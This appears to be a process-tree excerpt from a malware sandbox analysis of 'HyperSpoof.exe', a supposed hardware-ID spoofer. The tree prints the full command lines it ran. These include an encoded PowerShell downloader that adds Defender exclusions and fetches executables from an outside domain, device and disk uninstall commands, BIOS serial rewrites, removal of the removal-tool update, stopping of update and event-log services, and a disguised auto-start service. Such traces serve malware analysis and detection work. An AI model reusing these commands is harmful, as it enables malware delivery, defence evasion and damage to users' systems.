C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=1132 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:4864
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=4924 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:4880
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=5484 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:3100
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5196 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:82⤵PID:2184
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=212 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:5032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=6576 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:3032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6208 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:82⤵PID:4648
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:4676
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4628
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\HyperSpoof (2024)\" -ad -an -ai#7zMap21227:96:7zEvent85951⤵
- Suspicious use of FindShellTrayWindow
PID:2028
-
C:\Users\Admin\Downloads\HyperSpoof (2024)\HyperSpoof.exe"C:\Users\Admin\Downloads\HyperSpoof (2024)\HyperSpoof.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4876 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAeQB0ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaQB0AHoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBjAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAGwAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAGwALwBIAHAAcwByAFMAcABvAG8AZgAuAGUAeABlACcALAAgADwAIwByAHYAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGQAcwBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEgAcABzAHIAUwBwAG8AbwBmAC4AZQB4AGUAJwApACkAPAAjAHYAegB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHMAcABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAG4AZgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeQB3AGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcQBnAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBwAGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAdwBnAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAG0ALwBjAG8AbgBoAG8AcwB0AHMAZgB0AC4AZQB4AGUAJwAsACAAPAAjAGcAYwB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAagB2AHEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdABmAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYwBvAG4AaABvAHMAdABzAGYAdAAuAGUAeABlACcAKQApADwAIwBnAHgAZQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAGYAcwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAeQB3AHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASABwAHMAcgBTAHAAbwBvAGYALgBlAHgAZQAnACkAPAAjAGgAaAB4ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGcAZgB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB3AGUAcAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHAAaAB5AHAAZQByAFIAdQBuAHQAaQBtAGUAZABoAGMAcABTAHYAYwAuAGUAeABlACcAKQA8ACMAeAB2AGwAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAZQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGMAbwBuAGgAbwBzAHQAcwBmAHQALgBlAHgAZQAnACkAPAAjAGsAYwBwACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:4656 -
C:\Users\Admin\AppData\Roaming\HpsrSpoof.exe"C:\Users\Admin\AppData\Roaming\HpsrSpoof.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
PID:4748 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe c: 05TB-MARB4⤵PID:3712
-
C:\ProgramData\Microsoft\Windows\Volumeid64.exeC:\ProgramData\Microsoft\Windows\Volumeid64.exe c: 05TB-MARB5⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:4388
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Disk.bat4⤵PID:1412
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:2532
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "Disk drive*" /use_wildcard""5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:4696
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "C:\"5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:724
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "D:\"5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:1756
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "E:\"5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:3516
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "F:\"5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:2812
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "G:\"5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:716
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "Disk"5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:3860
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "disk"5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:4088
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "Disk&*" /use_wildcard""5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:2260
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "SWD\WPDBUSENUM*" /use_wildcard""5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:3304
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "USBSTOR*" /use_wildcard""5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:4604
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "SCSI\Disk*" /use_wildcard""5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:1888
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "STORAGE*" /use_wildcard""5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:4552
-
-
C:\ProgramData\Microsoft\Windows\DevManView.exeC:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""5⤵
- Executes dropped EXE
- Enumerates connected drives
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:2392
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS %RANDOM%HP-TRGT%RANDOM%AB4⤵PID:1052
-
C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exeC:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS 24421HP-TRGT23175AB5⤵
- Executes dropped EXE
PID:2544
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 2%RANDOM%HP-TRGT%RANDOM%RV4⤵PID:2248
-
C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exeC:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 224434HP-TRGT633RV5⤵
- Executes dropped EXE
PID:3848
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 8%RANDOM%HP-TRGT%RANDOM%SG4⤵PID:3420
-
C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exeC:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 824438HP-TRGT11381SG5⤵
- Executes dropped EXE
PID:2708
-
-
-
-
C:\Users\Admin\AppData\Roaming\sphyperRuntimedhcpSvc.exe"C:\Users\Admin\AppData\Roaming\sphyperRuntimedhcpSvc.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
PID:2172 -
C:\Users\Admin\AppData\Roaming\.sphyperRuntimedhcpSvc.exe"C:\Users\Admin\AppData\Roaming\.sphyperRuntimedhcpSvc.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:4628 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Media\Afternoon\fontdrvhost.exe'5⤵PID:3084
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Internet Explorer\services.exe'5⤵PID:4292
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Desktop\firefox.exe'5⤵PID:640
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\RuntimeBroker.exe'5⤵PID:3424
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'5⤵PID:3920
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\wmq5ix5Wqe.bat"5⤵PID:5096
-
C:\Windows\system32\chcp.comchcp 650016⤵PID:4324
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:26⤵PID:1248
-
-
C:\odt\RuntimeBroker.exe"C:\odt\RuntimeBroker.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
PID:4500
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\conhostsft.exe"C:\Users\Admin\AppData\Roaming\conhostsft.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
PID:4116 -
C:\Users\Admin\AppData\Roaming\.conhostsft.exe"C:\Users\Admin\AppData\Roaming\.conhostsft.exe"4⤵
- Drops file in System32 directory
PID:4040 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force5⤵PID:4792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart5⤵PID:3508
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart6⤵PID:548
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc5⤵
- Launches sc.exe
PID:3268
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc5⤵
- Launches sc.exe
PID:3232 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:1888
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv5⤵
- Launches sc.exe
PID:2112
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits5⤵
- Launches sc.exe
PID:2208
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc5⤵
- Launches sc.exe
PID:4932
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 05⤵PID:1424
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 05⤵PID:4624
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 05⤵PID:3824
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 05⤵PID:4428
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "driverupdate"5⤵
- Launches sc.exe
PID:4664
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "driverupdate" binpath= "C:\ProgramData\VC_redist.x64.exe" start= "auto"5⤵
- Launches sc.exe
PID:3680
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
PID:4768
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "driverupdate"5⤵
- Launches sc.exe
PID:3972
-
-
-
-
-
C:\Users\Admin\Downloads\HyperSpoof (2024)\HyperSpoof.exe"C:\Users\Admin\Downloads\HyperSpoof (2024)\HyperSpoof.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
PID:2428 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAeQB0ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaQB0AHoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBjAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAGwAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAGwALwBIAHAAcwByAFMAcABvAG8AZgAuAGUAeABlACcALAAgADwAIwByAHYAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGQAcwBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEgAcABzAHIAUwBwAG8AbwBmAC4AZQB4AGUAJwApACkAPAAjAHYAegB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHMAcABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAG4AZgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeQB3AGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcQBnAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBwAGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAdwBnAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAG0ALwBjAG8AbgBoAG8AcwB0AHMAZgB0AC4AZQB4AGUAJwAsACAAPAAjAGcAYwB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAagB2AHEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdABmAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYwBvAG4AaABvAHMAdABzAGYAdAAuAGUAeABlACcAKQApADwAIwBnAHgAZQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAGYAcwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAeQB3AHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASABwAHMAcgBTAHAAbwBvAGYALgBlAHgAZQAnACkAPAAjAGgAaAB4ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGcAZgB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB3AGUAcAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHAAaAB5AHAAZQByAFIAdQBuAHQAaQBtAGUAZABoAGMAcABTAHYAYwAuAGUAeABlACcAKQA8ACMAeAB2AGwAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAZQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGMAbwBuAGgAbwBzAHQAcwBmAHQALgBlAHgAZQAnACkAPAAjAGsAYwBwACMAPgA="2⤵
- Blocklisted process makes network request
PID:4308 -
C:\Users\Admin\AppData\Roaming\HpsrSpoof.exe"C:\Users\Admin\AppData\Roaming\HpsrSpoof.exe"3⤵
- Executes dropped EXE
PID:4504
-
-
C:\Users\Admin\AppData\Roaming\sphyperRuntimedhcpSvc.exe"C:\Users\Admin\AppData\Roaming\sphyperRuntimedhcpSvc.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
PID:4476 -
C:\Users\Admin\AppData\Roaming\.sphyperRuntimedhcpSvc.exe"C:\Users\Admin\AppData\Roaming\.sphyperRuntimedhcpSvc.exe"4⤵
- Executes dropped EXE
PID:3864
-
-
-
C:\Users\Admin\AppData\Roaming\conhostsft.exe"C:\Users\Admin\AppData\Roaming\conhostsft.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
PID:3664 -
C:\Users\Admin\AppData\Roaming\.conhostsft.exe"C:\Users\Admin\AppData\Roaming\.conhostsft.exe"4⤵PID:692
-
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵PID:4860
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:100 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="100.0.1019937580\1767735004" -parentBuildID 20221007134813 -prefsHandle 1936 -prefMapHandle 1928 -prefsLen 20749 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2b624d51-b995-4d18-ba01-211fc426061e} 100 "\\.\pipe\gecko-crash-server-pipe.100" 2016 1c4aa5efb58 gpu3⤵PID:4312
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="100.1.1150685139\919205717" -parentBuildID 20221007134813 -prefsHandle 2404 -prefMapHandle 2400 -prefsLen 20785 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {20d47aef-a84e-449f-a779-9dff42036701} 100 "\\.\pipe\gecko-crash-server-pipe.100" 2416 1c4968e0458 socket3⤵PID:1632
-
-
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\1a94b6a2f2c54f4fba21f03e8367e369 /t 1296 /p 1001⤵PID:4516
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵PID:996
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4268 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4268.0.849534078\338235512" -parentBuildID 20221007134813 -prefsHandle 1852 -prefMapHandle 1820 -prefsLen 20749 -prefMapSize 233496 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ce43f2a-0adf-4fe3-a18a-83f73c89b04c} 4268 "\\.\pipe\gecko-crash-server-pipe.4268" 1944 2060d8f6558 gpu3⤵PID:1556
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4268.1.727310984\125490595" -parentBuildID 20221007134813 -prefsHandle 2316 -prefMapHandle 2312 -prefsLen 20785 -prefMapSize 233496 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {35099149-1773-4773-b593-db00ff74e224} 4268 "\\.\pipe\gecko-crash-server-pipe.4268" 2344 2060cbee858 socket3⤵
- Checks processor information in registry
PID:2248
-
-
